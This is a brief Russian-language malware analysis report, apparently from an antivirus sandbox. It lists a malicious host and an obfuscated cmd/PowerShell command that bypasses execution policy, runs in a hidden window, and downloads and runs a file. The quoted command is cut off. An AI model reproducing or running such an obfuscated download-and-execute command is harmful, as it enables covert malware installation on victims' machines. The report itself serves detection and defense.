Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://lt###.cheasrock.pl/file/jet.jkl как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^oW^E^RS^HE^ll^.eXE^ ^-^e^Xe^c^U^tiONPOL^IcY b^Yp^asS^ ^-^n^oP^r^OfI^l^E^ ^-^w^I^ND^OWSt^YL^e h^i^dD^en ^(neW^-objECT^ sY^sTEm^.^n^E^T.weBC^LIeNT^).DO^wNl^o^Ad^F^i^le^...
Сетевая активность
UDP
- DNS ASK lt###.cheasrock.pl
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^oW^E^RS^HE^ll^.eXE^ ^-^e^Xe^c^U^tiONPOL^IcY b^Yp^asS^ ^-^n^oP^r^OfI^l^E^ ^-^w^I^ND^OWSt^YL^e h^i^dD^en ^(neW^-objECT^ sY^sTEm^.^n^E^T.weBC^LIeNT^).DO^wNl^o^Ad^F^i^le^...' (со скрытым окном)
